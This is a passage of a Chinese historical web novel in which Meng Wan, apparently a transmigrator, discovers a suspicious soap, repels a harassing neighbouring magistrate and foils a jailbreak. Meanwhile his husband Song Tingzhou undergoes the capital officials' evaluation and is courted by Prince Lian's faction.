祝三爷双眸一亮,“不错!”京城里那些贵妇人常爱服些这个粉那个糕的,无一不精巧漂亮,他敢打包票,哪个冲调后也没有藕粉这般晶透。 孟晚预先同他交了底,“三叔,藕粉不易产出,十斤藕里才可出一斤的粉,所以一开始,我对它的定向便是小富之家以上。” “我懂你的意思了,贵些也有贵些的道理,你是没见盛京那些簪缨之族举手抬足撒银子的样子,珠宝玉石都算不得什么稀罕东西,吃的喝的无一不精,普普通通的一顿饭食都要几十上百两。”祝三爷若不是没有人脉关系,真是想狠狠赚上一笔。 孟晚想起当日在怀恩伯爵府的见闻,群花争奇斗艳,轻笑一声,“倒是见识过一二,也算晓得了盛京的风气。” 他开藕坊本不是为了钻钱眼儿里挣钱,但若是要卖到盛京去,那就不赚白不赚了。 两人又商量了些话,一致决定要将藕粉好好包装。 事情都谈完,孟晚起身带唐妗霜告辞,结果祝三爷一拍脑门,“你瞧我这记性,晚哥儿你再等会儿,除了藕种我还给你带了别的东西。” “是种子吗?”这些年祝三爷四处帮他搜集种子,大部分都是菜种。 祝三爷吩咐随从去取,“菜种也有,还有去年在京城时兴的新奇玩意,泽宁和他媳妇帮你网罗的,有给阿砚的玩具,还有些旁的乱七八糟的东西,其中有一样风靡盛京城,其余地方买都不好买。还是兰娘进宫赴宴时,宫里的娘娘赏赐的。” 他这么一说孟晚还真来了兴致,“什么东西来头这么大?” 祝家的下人从后院拉了一车东西回来,祝三爷从里头的暗格里取出个巴掌大的木盒,他递到孟晚手上,“这车东西我顺便让下人送到你家去,盒子里头便是兰娘给你拿的。她一共得了四块,娘家嫂子一块,昭远夫郎一块,你这里一块,她自己留了一块。” “这般稀少?那我……”孟晚甫一打开盒子就愣住了,迎面便是一股淡淡的花香,里面正正方方的放了块被淡粉色纸张包裹的东西。 伸手扯开,赫然是一块被雕琢成牡丹花样式的香皂! 孟晚:“……!!!” 他震惊,他迷茫…… 第59章 滋扰 孟晚心乱如麻的拿着那块香皂回家,和黄叶交代了不要让人打扰后,关在书房里冷静了一天。 从看到香皂的第一眼起,再加上它如今的来历和价值,孟晚便猜测制出香皂的人十之八九是与他同一个世界到来的人,或者可能是另一个平行时空? 他思维发散,心情复杂难鸣,各种情绪在心中翻涌,另一个世界的种种仿佛离他很远,远到像上一辈子。 说实话,孟晚对从前没有过多留恋,他现在有爱人、有家人、有孩子、有朋友,有自己的一番拼搏和成就,没什么遗憾和不知足的地方。 他这样想着,心底沉静了不少,开始冷静地想起对策。 不错,孟晚对这位素未谋面的“老乡”警惕之心大于欢喜,他们本就是不相识的人。孟晚不会因为两人是从一处而来便轻易放松警惕,傻乎乎的凑上去搞什么他乡遇故知的戏码。 他只盼那人低调行事,不要牵连到他。 但如今看来,对方并没有这个想法,这就有些难办。 若做香皂那人对孟晚的身份不知情,将来动静太大被人盯上也是他自己的事。可若是他对孟晚的来历有所猜测,哪一日深陷泥潭,保不齐将自己也卖了。 要知道他们于此间来说,绝对是异类,神鬼之说出被人所忌惮。那人此时行事越出风头,以后若是被责问怀疑时便越被常人警戒恐惧,恨不得除之而后快。 人心易变,前途生命万不可轻易托付到旁人手中。 孟晚如今最打眼的就是水泥,但严格来说这东西并不是他搞出来的,他也不怕谁过来探究。 糖坊交给碧云,藕坊交给唐妗霜,他就干干净净的做他的知县夫郎。 对了,还要写信给宋亭舟,让他小心此人。 捋顺心中想法,孟晚刚在家里修身养性一天就破了功。 “大人是沙坑县的知县吧?您不在自己辖内县衙待着,不知跑到赫山县衙喧嚷是何意?”孟晚大清早就被乔主簿喊来县衙,一肚子的起床气。 沙坑县知县不知道抽的什么风,带了上百的衙役来县衙闹腾个什么劲儿,还专门挑宋亭舟不在的时候来。 县丞和主簿官阶低微拦不住人,只能将孟晚给请了过来。 岂不知胡逖本来还雄赳赳,气昂昂的在前衙叫嚣,见到孟晚出声,扭头过来人都傻眼了。 他身侧的师爷可太知道自家大人是个什么货色了,扯了几下胡逖衣摆见他没反应,目光所及赫山县的衙役和县丞都在一旁虎视眈眈的看着,不得不狠命掐了胡逖一把。 胡逖感到痛感眉头只是轻轻一拧,随即挺直腰板,一甩长袖,目光坚定,用他自认为最潇洒的姿态对孟晚道了句,“美人,我愿以正妻之位相聘,山海日月为眉媒,许卿岁岁长相守……” 孟晚:“?” 这是个什么奇葩东西,没听到刚才乔主簿说的那句这是我们宋知县夫郎? 他没忍住翻了个白眼,“胡大人带人从沙坑县赶来,若只是为了不顾脸面官位,调戏同僚之夫,那便可以走了。等我夫君回来,我定将这些话原封不动告知于他,让他上奏朝廷,问问这是个什么道理。” 胡逖的师爷暗道不妙,这夫郎竟是个牙尖嘴利的,如此不好对付,怪也怪自家大人是个色鬼,见了美人连路都不会走。 “大人?我们来赫山,不是来要人的?想想您的那些个美妾……” “美个什么妾!有此一位,胜过我那一后院的美人!”胡逖目光痴迷,他上前两步想凑近孟晚说话,“美人莫恼,我并无亵渎之意,只是被哥儿绝色容颜所惊艳。” 到底是考过进士的,胡逖清了清嗓,“啊~眉若远山黛,眼似秋水横……” 孟晚只觉得这个沙坑县知县脑子也有坑,不耐烦的喝了句:“雪生!” “唇比春日桃花艳……啊!哪个不知死活的敢打县太爷!” 还在吟诗作对故作潇洒的胡逖下一秒就被雪生一拳打退。 孟晚冷笑道:“胡大人既是不识好歹,就别怪我们赫山不欢迎大人了。” 他的话像是一个指令,县衙内的衙役和捕快都虎视眈眈的看着沙坑县的人。 胡逖倍感委屈,“美人何必如此无情,我只是想与你多说上几句话而已。” 师爷看着已经开始往后衙走的宋知县夫郎,比胡逖还委屈十倍,他怎么就跟了这么个窝囊废! 当时宋大人带人去他们沙坑县是多硬气的、多霸道的,连胡逖的小老婆都给一窝端了!他们大人倒好,一见到人家夫郎连路都不会走,尽干些丢人现眼的事,旁边赫山县衙的衙役都看着笑话,他一张老脸都没处放了。 师爷拽住捂着鼻眼满是狼狈还要跟着孟晚跑的胡逖,“大人,既然你不想找年前丢失的妾室了,那咱们就回沙坑县吧。” 胡逖一把甩开他,露出乌青的眼睛和已经血流不止的鼻子,瓮声瓮气的说:“回什么回,宋亭舟带走我那么多美妾,将他夫郎赔给我。” 赫山县的衙役们冷着脸看他大放厥词,陶九恨不得把他另一只眼睛也给砸青。 眼见着他们再不走赫山县衙的衙役就要按耐不住动手,师爷个头嗡嗡声,吵到脑壳都懵懵哋,他用最后一口活气艰难的劝阻,“大人,回去吧,宋大人夫郎可能是见咱们人多……” “你说的有理!这些我们空手上门,还带了这么多的人,小美人定是被吓到了,带我回沙坑县梳洗打扮一番,带上众多礼品珠宝,他肯定就会对我另眼相待了。” 师爷:“……” 对对对,只要你先走,说什么都对。我的大活爹,做你下属真是我的福气! 孟晚无故被骚扰了,让雪生打了人也不解气,“雪生,你去和守门兵说一声,往后不许什么人都放进城里,排查要仔细。” “是,夫郎。”雪生领了命快步往外走,没一会儿又跟着陶九一起折返回来,“夫郎,陶典史说有两个沙坑县的衙役偷偷在牢房附近探查。” 孟晚虚虚眯起眼睛,“原来如此,我就说再荒唐也不至于大动干戈一场,带人过来就为了要几个妾室。” 孟晚在屋内踱了两步,吩咐道:“陶九,你一会儿趁无人时将陈崇和陈云墨单独关押到税库去,门口照常留两人执勤,雪生你到税库里亲自盯着他俩。” 陶九问:“夫郎,那牢里怎么办?” “找两个机灵的,打扮邋遢点,最好看不清人脸,若是有人劫持,便顺势让他们将咱们的人劫去。”孟晚越想思路越顺畅。 过了会儿楚辞也被孟晚揪过来,要走他几包药粉交给陶九。 晚上孟晚几乎一夜没睡好,惦记着衙门牢房的事,天蒙蒙亮的时候陶九过来禀告,黄巡检和陶七被他们掳去了。 “夫郎,我们现在要不要按他们留下的踪迹去找人?”陶九问道。 “去是肯定要去的,这回换你留下看守罪犯,雪生带上所有捕快前去。”孟晚叮嘱雪生,“事先让捕快在周围埋伏好,你先去探查情况,后再抓人。若是打不过就先保命回县衙,不必与人硬碰硬。” 楚辞的毒药迷药等,孟晚事先给在地牢伪装成陈崇二人的黄巡检和陶七带上不少,这次雪生去又给雪生塞了几包。 本以为万无一失,岂料雪生一去就是三天,这三天孟晚本来就心急如焚担心他们的安危,岂料胡逖这个不长眼的色鬼又打上门来。 这回他长了记性,没带一大泱子的手下和啰啰嗦嗦的师爷,单单他自己和两个黑炭似的仆人。 胡逖穿了一身白衣,脚踏的靴子一尘不染,腰系玉佩做装饰,头戴镶嵌着宝珠的银冠,折扇拿在手中轻摇……还是不好看。 倒是那两个黑脸仆人衬得他白了两度,仅此而已。那张脸本就普普通通泛着油花,上次雪生给他打的黑眼圈还没消下去,他打扮出花来也还是没什么变化,反而更显油腻,让孟晚看着就想吐。 要不是想从他这儿套出几句话来,孟晚面都不会露,可真的出来看见胡逖这种花痴样,他又琢磨着这种货色就是背锅侠吧?他真能知道什么内幕? “不知胡大人又来赫山有何贵干,我记得各县知县没有正当理由是不得离开任地的吧?胡大人上次来我可以当做不知道,这次又来,我一届后宅小哥儿,怕是接待不周。”孟晚穿了身普通不过的薄面长衫,头上戴的也素净,说话间绵里藏针,句句都在说胡逖逾矩。 “自从上次见了哥儿,我是日思夜想,恨不得日日相伴才好,只盼哥儿怜惜我一片痴情,成全了我。”可不知胡逖是真傻听不懂话,还是色心太盛,耳朵里听不进去旁的,只管在那儿和花孔雀似的显摆。配上他一只青紫的眼睛,不像是县太爷,倒像是耍猴的。 孟晚冷笑,“既然胡大人不好好接我的话,以县官身份三番两次的戏弄与我,就别怪我也不客气了。” 见孟晚温怒,胡逖忙道:“哥儿这是误会我了,我对哥儿一片真心可照日月!” 孟晚站起身来,向他左右探了探。 很好,就带了两个人敢上门调戏他,有胆量,真当他是好惹的不成? 孟晚坐回椅子上一口干了一杯茶水,豪迈的像喝酒,“陶九,将胡大人请进班房里住一天,好好招待。”后面四个字语气极重。 第二天一早,被打的像死狗一样的沙坑县知县被拖到城门外,引无数人围观。 师爷在城外等他,见状捂着脸派人将他拖上马车。 夜里雪生和黄巡检一行人终于回来,不光他们,还带回来十来具尸体。 黄巡检一脸惭愧,“夫郎,一个活口也没能留下,他们在发现暴露的一瞬间,全都咬舌自尽了。” 这个结果大大出乎了孟晚预料,他看着捕快们扛回来的尸体,有的嘴巴微抿,唇边溢出一抹鲜红,有的则嘴巴大张,里面血红一片。 孟晚扭过头去,“算了,你们无事就好,只好牢房加强巡逻,每组不可少于十人。” “是!” —— 晚上孟晚伏案给宋亭舟写信,略过胡逖乱七八糟的话,提取了几个重要信息。 第一:胡逖可能知道一点内幕,但绝对不多,否则不可能到如今人头都快不保的情况下还悠哉悠哉的跑来赫山县。 第二:陈崇和陈云墨比他们想象中的价值还要更高,值得幕后之人从试探到趁宋亭舟不在来劫狱。 第三:死的这十人都是死士,任务失败无人逃离,无人生还,干脆利落,不像是小家小户能培养的出来的。 孟晚越写面色越凝重,他信上叮嘱宋亭舟在京都行事定要万分小心,切切不可独自返回岭南,与秦艽等人一起回来就更好了。 笔尖在纸张上顿了顿,墨色偏淡,他抬腕蘸了一笔墨汁接着写到,若是遇到行径可疑、试探他的人也要当心,可能来者不善。 孟晚这封信一直写到深夜,中间油灯还添了次灯油,第二天清早下起细雨,他撑着伞,伴着薄薄的寒雾被他亲自送到驿站。 驿站送信总是比人力货运要快的,他们有特定的地址,昼夜不停赶路,每送到下一站便由另一间驿站的驿卒继续前往。 信件历经由南到北上千里路,终于在二十天之后送到了禹国的都城——盛京城中。 有人轻而易举的在驿站取到了书信,递送到另一人手中。巧的是当天的盛京城也是雨天,隔着雨幕,里头端坐的人只能看清是一位身材挺拔的男子,旁边有两三侍从。 “主子,是从赫山来的信件,被我们截下了。” 一直养尊处优的手接过信件,“赫山?就是那个近日大出风头的宋亭舟所处之地?” 随从答:“回主子,正是西梧府赫山县。” 那人拆开信封,“哦,原是他夫郎给他写的,字不错。” 万般寂静,四周鸦雀无声,那人翻看了两页,将信甩到桌上,“不过是些情意缠绵的后宅私事罢了,重新放回驿馆去吧。” “是。” 第60章 刁仆 身边有两大高手随行,宋亭舟进京之行并无波澜,顺利抵达京郊。 本来述职的地方官需要集中在京郊参加初考后方可进京,但秦艽的身份毕竟不一般,不必停留郊外,且一到京城郊区便被等候多时的忠毅侯府家仆给领走了。 他进出城门方便,葛全和方锦容便也随他入了城。 宋亭舟身边带了三个衙役,分别是陶家的陶八、陶十和陶十一。他先找到上司刘知府,西梧府隶属承宣布政使司,接着又被刘知府引荐去见了从二品的承宣布政使(相当于省长)。 来京复职的官员数不胜数,岭南一带又地处偏远,等宋亭舟与上司们汇合时,京郊能住的地方基本都已经住满了,他们被分配了一个较为偏远的地带安顿。 承宣布政使对宋亭舟的态度比较和善,想来是刘知府替宋亭舟美言过,但西梧府的通判同样和上官交流融洽,不难看出刘知府为了升官,两边都下了注。 做为知府,能把姿态拉得这么低的讨好下官,这也是头一份了,可见其为了前途拼命钻营。 京郊外有几处寺观,做为这次朝觐的初考地点,由最低官阶的知县开始,然后逐渐往上递增,总体分为自我述职和上级评估。 考核文章都是大家提前准备好的,上官不会逐帧观看,只挑出功绩重点来审核,一般情况下考核会很迅速。但由于宋亭舟递交上来的册籍比旁人多了几张,所以他这边的进度稍微慢了些,这种情况较少,不免惹得旁人侧目。 好在结果是顺利的,宋亭舟又在京郊住了三日,所有地方官初考结束后,便可安心等待二月初一到吏部和都察院的正式考核。 初考结束便不必还蜗居在京郊,大家进城住客栈的住客栈,有亲戚的住亲戚家中。承宣布政使在京中有家宅,还曾客气的邀请几位下官,但下官们有点眼色便不会过多打扰。 项芸留给孟晚的宅子位置不错,宋亭舟可以直接回家去住,他邀请刘知府一同前往。 刘知府倒是没想到他京中竟然还有宅院,愈发觉得他是关系户,但想了想还是没有跟他同去。反而在他离开前悄然问了句,“胡逖的事你准备怎么办了?上次的奏折被我扣下也是为了你好,我劝你暂时先不要轻举妄动。罗通判身后有着千丝万缕的关系,不是你我……”他本来想说你我这般毫无背景的人,可见宋亭舟的架势似也非普通七品知县,还是将剩下的话吞了回去。 宋亭舟不是不识好歹的人,刘知府几次三番提点他,哪怕其中掺杂着私心,他也同样领情。“大人放心,我不会轻举妄动,拿自己的仕途开玩笑。” “那就好那就好。”刘知府怕的就是宋亭舟是那种不撞南墙心不死的蛮牛,见他心有成算,终于松了口气。 宋亭舟带陶家兄弟进了城,当日他们一家子从京城离开时,拾春巷里的八个粗使仆人并没带走。 孟晚在钱庄留了笔钱,宅子里的下人可按月去取。因为不确定几年才能回来,所以其中还有修缮房屋的费用。 如今三年过去家里无主,上头又没有管事的看着,他们八个从一开始本本分分的样子变得松散。宋亭舟他们上门时,宅子大门紧闭。 陶十一年纪最小,路上和葛全秦艽学了两手粗浅功夫,比他两个哥哥脚步轻巧些,他上前叩门,里头并无应声,于是三两步跑下台阶禀告:“大人,门房人声杂乱,应该是有人在打牌。” 宋亭舟眉头轻皱,“再去叫门。” “是!”陶十一重返回去,大力拍了几下,里头果然传来两道不耐烦的声音,“谁啊,主子不在家。” 陶十一哼了一声,“现在你主子回来了。” “谁?谁回来了?”里面那人慌里慌张的问。陶十一还能听见他小声招呼同伴快收拾东西的声音。 “你主子宋大人,还不速速开门!” 大门缓缓打开,里面的人探头探脑的望了阵儿,对上宋亭舟的冷脸后,忙不迭的跑了过来。 他显然还记得宋亭舟的长相,“大人,您回来怎么没叫人提前通知一声,小的们好去城外接您。” 宋亭舟没理他,连日奔波与考核他也不轻松,大步流星的进了府。 “大人,大人!”门房讨好的跟在后面。 前院被堆得乱七八糟,角落里和花园里长满了枯草。院子里几个小厮正费力的往厢房抬桌子,各个吃得脑满肠肥,抬个桌子都累得气喘吁吁。 见宋亭舟进来,他们憋着一口气生怕被责备,岂料对方只扫了一眼就进了后宅。 后宅倒是清净,那几个小厮没人敢过来放肆,只在前院门房里偷懒打牌。三年过去花园已经荒废了,园子里有个小厮在翻地,角落的耳房面前支了个晾衣杆,一个婢女在晒晾衣裳。 两人见到宋亭舟皆是满脸惶恐,凑到他面前跪下,“大……大人。” 宋亭舟见那两人跪在一处,虽是没说什么,但姿态亲密,“你们私自成亲了?” “大……大人,我,我们。”两人心中大骇,不住的磕头请罪。 宋亭舟在后宅里绕了一圈,见这二人只住角落里的一间耳房,应该是之前他们在时这婢女的住所。其他房间并无灰尘,可见整日打扫过。 仆人私自成亲是重罪,但也是于主家而言,他和孟晚不是刻薄之人,并不想太过追究。 “前院收拾两间房间,后院內寝也铺上被褥。” 两人自知主家是要放他们一马,又惊又喜,忙不迭的应了声去干活。 陶八几人将马牵到马厩里,有小厮从前院过来殷勤的帮他拴马,一口一个大哥,还有个想往他怀里塞银子让他替自己美言,不要被主家苛责。 陶八一个实实在在的乡下汉子,哪儿见过京城里这么些的套路,冷着脸将人推到一旁,回去便一五一十的和宋亭舟说了。 这次宋亭舟来的急,并没带太多行李,和陶家兄弟一人背了个两个包袱,他从其中一个包裹里取出个盒子,抽出六张身契出来交给陶八,“出了巷子往北走,街西有家牙行,你将身契交给他们,让牙行的人来将前院的六个带走。” 那对夫妻若是本分便暂时先用着,在宅子里做些杂活,看看家,两人也够用了。 陶八做事可靠,没过多长时间,前院便传来哭喊声。想来他们也没料到,主家没惩没罚,竟二话没说就将他们给发卖了,动作迅速,下手又快,连个反应的时间都没给。 卖了那六人后宅子里越发清净,那对野鸳鸯整日战战兢兢的做活,生怕自己也被发卖。 “月梅姐。”陶十一叫婢女月梅。 月梅听到呼声急忙从厨房出来,“可是大人有何吩咐?” 陶十一性子比几位哥哥活泼些,笑着说:“不是什么要紧事,大人说你二人既然已经成亲,你就别在从耳房独居了,和柳哥在前院挑间厢房住着吧。” 月梅羞红了脸,却又对宋亭舟感激涕零,“多谢大人成全。” 宅子里的婢女本来就不多,当日孟晚走时有两个胆大,找了家里人替自己赎身嫁人了,只有月梅无处可去只能留在这里。 小厮里有人心思活泛,见宋家人常年不归对月梅动了歪心思,都是柳哥挡了回去,长久以往两人便渐渐走到了一起。 主家突然回来,还撞破了他们俩的私情,换到规矩严苛的人家是要将他二人乱棍打死的,宋大人竟还给二人过了明路。 “你家中怎么就两个下人,其他人呢?”祝泽宁一身月白锦袍,外罩了件灰鼠皮毛斗篷,一派富家公子的贵气。三年不见他脸颊比前些年微微圆润了些,也少了些稚嫩,多了分世故。可见盛京底层小官也是磨练人的。 “景行喜静,可能是嫌人多嘈杂,给打发了吧。”吴昭远走在后面不紧不慢的说。 比起当日离开昌平的病弱孤寂,吴昭远如今看来温顺平和许多,身上的棱角像是被磨平,也像是被掩埋。 因为孟晚不在,他们便也都没带着妻儿来,不过家里女眷各收拾了一车东西叫他们带来给宋亭舟添置。 三人胜似至亲兄弟,家眷便也比对旁人亲近。 宋亭舟久不见他们,打量了两人一会儿,确定他们面色都不错,不免潇洒一笑,“百十个仆人,都比不上泽宁妙语连珠。” “嘿!”祝泽宁不服,“你这是嫌我聒噪?我在衙门当值的时候可从没这么多话。” 吴昭远嘴角含笑,也跟着调侃了一句,“我和景行又没去过你衙门,谁知道你私下什么样。” 宋亭舟从门口接他们进来,三人一路说说笑笑的往中堂走去。 正月末的盛京,天气还十分严寒,陶十一往堂屋里端了两盆炭火。三人分别解下大氅随手扔到软塌上,拉着凳子坐在炭火旁烤火聊天。 宋亭舟盯着红彤彤的木炭,有些遗憾的说:“可惜这次着急赶路,没带太多东西,不然该给你们拉上两车橘子来,我们临县的十月橘甘甜可口,晚儿极其钟爱。” 祝泽宁和吴昭远对视一眼,皆是忍俊不禁。祝泽宁道:“你还是你,三句话不离大嫂。” 吴昭远则是感慨,“景行是难得的痴情人,也该得这么一人到白首。” 提到孟晚,宋亭舟眼神便不自觉柔和眼角眉梢的棱角都化在一片暖意里,“你们不知晚儿……算了,不说我了,泽宁下月初一可是也要去吏部?” 说到正事,祝泽宁也开始正经起来,“不错,京官都是初一去吏部考核,地方官是去都察院。你可要小心些,都察院的人最是眼里容不下沙子——那些言官御史们,惯会鸡蛋里面挑骨头,恨不得连谁家多买了一袋米,都能引出奢靡成风、有违节俭圣训的弹劾来。” 吴昭远也附和说:“泽宁虽然说得夸张,可都察院做事确实滴水不漏。” “在我看来,滴水不漏总比姑息迁就强些,但愿都察院能对得起自己的名声。”宋亭舟知道两位兄弟都是关心他,毕竟从表面上看,只有他混得不大如意。 吴昭远的心思要比祝泽宁深沉些,“你这话是何意?可是西梧官场被人插手了?” 宋亭舟心中已经有所猜测,但还不算准确,“插手不至于,但其中应是有人同盛京城里的贵族有牵扯。” 吴昭远左右看了看,见周边空旷,没有被人偷听的可能,压低了声音对其他两人说道:“天颜垂暮,前朝后宫都不太平,太子与廉王明争暗斗,朝堂上已经有不少人按捺不住偷偷自荐了。” 祝泽宁岳家光有个伯爵称号,朝廷之事还不如吴昭远知道的多,算是远离政治斗争的人物。宋亭舟又外放在偏远之地,轻易不得回京,只有吴昭远在翰林院有些风险。 “昭远,你可别糊涂,咱们三人这点子身家都不够盛京的中流世家看的,更遑论皇子之间的谋位之争。”祝泽宁急切的劝道。 吴昭远苦笑一声,“你以为那些大人浸淫官场数十年,都是傻的吗?他们是知道躲不掉,才想在还有话语权的时候为自己争得一席之地。”有魄力的便争一争,害怕胆小的此时致仕回家,除非是有真本事的,否则等新皇登基他们便再也别想出头。 一朝选对便是几代的家族兴盛,这对视家族兴衰为立身之本的古人来说,是一种极大的诱惑。有野心的都想辅佐新帝上位,成为一代权臣。 宋亭舟听他话锋不对,抬眸望着他满是书卷气的侧脸,目光微凝,“可是有人已经找上了你?” 吴昭远嘴唇抿的泛白,头次对人透露出来,“不错,是我们掌院。” 祝泽宁迷茫的说:“翰林院掌院魏青?他是谁的人?” 吴昭远缓缓吐出了一个字,“旭。” 宋亭舟迅速反应过来,“廉王文旭?他要你一个小小的七品编修作甚?” 吴昭远摇了摇头,他才在翰林院任职不到一年,许多事也只是看了个表面,并不大清晰明白。 如此情景,便是大家都最不愿意的看到的——被迫站队。 第61章 拉拢 盛京城——二月初一 宋亭舟一大早换上青色官袍,头戴乌纱帽,身着圆领右衽袍,腰束革带,脚穿黑靴。前胸后背位置的补子上绣着鸂鶒。 陶八和陶十一驾着府里的马车送他到都察院,隔着两条街的地方已经围满了马车。陶八只得将马车停到外围,与宋亭舟步行进入。 其实官员的政绩,吏部早就整理妥当,该核实的也由地方官上级核实过,只不过其中有没有水分就不知道了。 从今天二月初一起,吏部和都察院开始对数以千计的地方官和四品以下京官进行逐一考察并开具结语,半月便能完成考察评定。 初步结果还需呈送到殿前,由皇上定夺。不出意外的话,二月二十便可公布结果。 考核结果分称职、平常、不称职,上中下三等,称职者可提升官职,平常者多数维持不变,不称职者降职。 更次的比如赫山前几任知县,若是满三年参加朝觐,也会给予处罚,包括责令致仕、罢为民等。 千辛万苦考中进士,最后被贬为平民百姓,算是最重的处罚了。 当今圣上仁慈,历年考核中倒是没有严厉狠罚过,最多就是降降职。 当然,若是对考核结果存疑者,也可以为自己申辩,拿出证据来证明自己没有玩忽职守。 都察院的考核进行的有条不紊,宋亭舟还在其中见到了王大人,但这种场合不适合寒暄,为了避嫌宋亭舟入京后连林苁蓉处都没登门,就更不会主动与王大人搭话了。 对方也像不认识他一般,眼观鼻,鼻观心,专注分内之事。 从都察院出来就剩专心等待。 宋亭舟与吴昭远祝泽宁三人多年未见,除了吴昭远上值的时日,三人几乎日日聚在一处谈天说地。 却没想宋亭舟考核结果还没出来,有人便递上了帖子相邀。 “柴郡?他给你下帖子做什么?”祝泽宁接过宋亭舟递给他的帖子,见到上面的名字颇感意外。 宋亭舟捏着手中的茶盏,“此人与我们不是同路人,左右没什么交情,我回张帖子拒了便是。” 祝泽宁冷笑连连,“当年他那般羞辱兰娘,如今明知你和我的关系还敢给你下帖,脸皮也忒厚了些。” 盛京城内礼教盛行,阶级分明,礼仪繁杂。上至宫廷贵胄,下至黎民百姓,言行举止皆被严格束缚在各种规范之中。 兰娘后来虽然嫁给祝泽宁,祝家也给出绝对的体面迎娶,但与柴郡一事时隔三年依旧被人津津乐道,参加宴席也不免被人指指点点。 好在当年有孟晚开导,祝泽宁这么多年又与她琴瑟和鸣,不然流言蜚语都要将她逼死了。 如此情景,祝泽宁自然不会给柴郡什么好脸色。 柴郡那边来看,自己请来的宾客竟然在其中搅事,破坏好好的昏礼,乃至到后来娶了自己未过门的妻子,心中也是分外恼怒。 两人同为一届进士,却几乎老死不相往来,偶尔遇到也是相看两厌。 宋亭舟半点没有去赴宴的打算,当天就写了回帖让陶十一送到柴家。本以为这事就已经算了了,谁想到柴郡竟然不请自来。 让人站在门口说话算是失仪,宋亭舟正是官员考核的关键时刻,自然不想落人口舌,便让人请柴郡进院说话。 一进的前厅里连杯茶水也没准备,不欢迎的意图明显。柴郡脸上的笑意也淡了,“宋兄外派三年,这是与我生份了?” 宋亭舟坐下淡淡的说:“我与柴兄本就不相熟,何来生份一说。” 这几年的官场沉浮,可能让柴郡长了脑子。实际能考上状元,他本身也不是什么蠢人,只不过眼界不高,人又自负。这会儿却比当年沉着许多,起码只是微微变了脸色,而没有当场暴走。 “宋兄可是因为当日我和富姑娘的事而看轻我?我听过宋兄与其夫郎伉俪情深,还当你是懂我的……” 宋亭舟今日穿了一身鸦青色长棉衫,衣裳都是以前孟晚留在宅子里备用的,放了樟脑丸,月梅时常拿出来晒晾,倒也没有生虫。 他模样生的冷峻,穿深色衣裳更显深沉,漆黑的眸子映照出柴郡一身锦衣和油头粉面的脸,“你若是真与当时那小哥儿成婚,我说不得还能高看你一眼。可我听说你只是纳他为侍,转而娶了一位武将的女儿?” 柴郡高娶显然没少被人诟病,略扬了扬音调,“我娶如今的夫人只是权宜之计,云哥儿永远是我的挚爱!”只这一句话便能听出,柴郡还是当年的那个柴郡。 宋亭舟从不是什么自负的人,这会儿眼神里也带了丝轻蔑,“下官不是都察院的御史,柴大人不必和我解释。若是无他事,束下官不奉陪了。” 柴郡屁股黏在椅子上坐的牢固,可能是看出宋亭舟没有和他叙旧的打算,终于说到正题上,“宋兄可还记得吴千嶂。” 宋亭舟没有说话,眉眼冷淡,“柴大人有话还请直说。” “今年京官考满,上面有个从五品鸿胪寺少卿的空位,我二人都想角逐一番。但他却注定无缘,你可知为何?”柴郡话语里满含自得。若说祝泽宁与他是夺妻之恨,那吴千嶂就是险些害他失去一甲状元的生死大敌。 从前他因为家世矮了吴千嶂一头,如今知道自己会高于对方,心中岂能不得意? 宋亭舟本来已经起身准备送客,见他此情此态动作陡然一顿,又坐回座位上,似乎有些不解的问:“考满尚未结束,你如何知道自己一定会拔得头筹?” 柴郡微微抬起下巴,嘴角带着抹若有若无的笑意,语气中透着意得志满,“自然是有贵人相助……宋兄与我一样都是耕读之家,十年寒窗,孤灯苦读,方才考中金榜。吴家当年是怎么打压你我的,宋兄难道忘了吗?” 他慷慨激昂的说完,声音突然压低几分,“若是有机会能平步青云,宋兄想不想抓住这千载良机?” “你是要为我引荐贵人?” 宋亭舟垂首将视线落在自己手上因为劳作写字而磨出的厚茧,缓缓开口,“不知是哪一位?” “皇子中行五的廉王。” —— 送走柴郡当晚,吴昭远下了衙便找上宋亭舟,“白日里柴郡来找过你了?” 作为新一届一甲进士,同在翰林院为官,吴昭远是认得柴郡的。 宋亭舟并不意外吴昭远会知道此事,想必是柴郡故意宣扬出去的,“不错,他想拉我入廉王的伙。” 吴昭远大惊失色,“万万不可答应!” 他们只是底层官员,一抓一大把,宋亭舟可能是因为政绩出色,有望升官才被廉王的人盯上。投靠皇子王孙不是不行,但他们如今连话语权都没有,被招揽到门下也是炮灰。 吴昭远担忧的说:“只怕你明着拒绝之后,会有人故意为难。”甚至不用廉王多说什么,底下小官看他脸色就将事办了。 果不其然,与他同来的岭南官员多数都已经接到考核结果通知,只有宋亭舟一人迟迟未有消息。 宋亭舟尚且还能沉得住气,一直默默关注他消息的林苁蓉反而坐不住了。他因为避嫌不能杀去都察院,干脆在副都御使王瓒回家的途中,让小厮拦住了他的车驾。 “林大人,这倒是稀奇了,我还以为是吴大人先过来找我呢。”王瓒笑呵呵的说。 林苁蓉看着他的笑,怎么看怎么虚伪,他没有和王瓒弯弯绕绕你来我往,开门见山的问道:“我已经打听过景行的功绩,各个考核都是上等,怎么还没有升迁的消息?” 王瓒笑意不减,“林大人不必心急,宋知县政绩卓越,升迁只是早晚的事。” 林苁蓉险些气笑,“当日你和吏部司郎中一唱一和说的好听,怎么,王大人还有健忘的毛病?” 被他嘲讽了王瓒也不生气,反而意味深长的劝告道:“林大人,景行的赫赫勋劳岂止流于表面?暗处筹谋安社稷,无声举措定乾坤。你不知,我却知;陛下知,有人却不知。其中大有可为矣,莫要挂念。” 他说完就乘车离开,徒留林苁蓉留在原地面色阴晴不定。过了一会儿他上了自家马车,吩咐车夫,“去拾春巷。” 他下衙就已经不早了,到拾春巷时天色已经暗沉下来,亲口嘱咐宋亭舟一句,“不必心焦,圣上自有定夺。”后便匆匆离开了。 有了他这句话,宋亭舟更是安居家中,怡然自适。 祝泽宁的官职已经下来,有他同在京城为官的大舅哥帮他运作,祝三爷又留了银子给他们打点人脉用,祝泽宁顺利升了官。他如今是工部员外郎,从六品官职。 虽然在六部中工部又苦又累还捞不到油水,可六部官员说出去还是比一些闲职有脸面的。 祝泽宁脸上是掩盖不住的欢喜,可一想宋亭舟的朝觐考察还没结束,他又耷拉下脸来,“本来应该顺顺利利的,怎么还会有波澜?” 宋亭舟为人低调,在盛京待的时间也不长,真要是得罪的高官貌似也就只有一人了。 “是不是吴巍那个老贼?” 宋亭舟还没回应,门口吴昭远便大步流星的过来,“不可能是吴巍,吴家这些天出了大事了!” 今日他们是在祝泽宁家相聚,祝泽宁挥退了旁边伺候的下人,忙问吴昭远,“出什么事了?我怎么半点消息都没收到?” 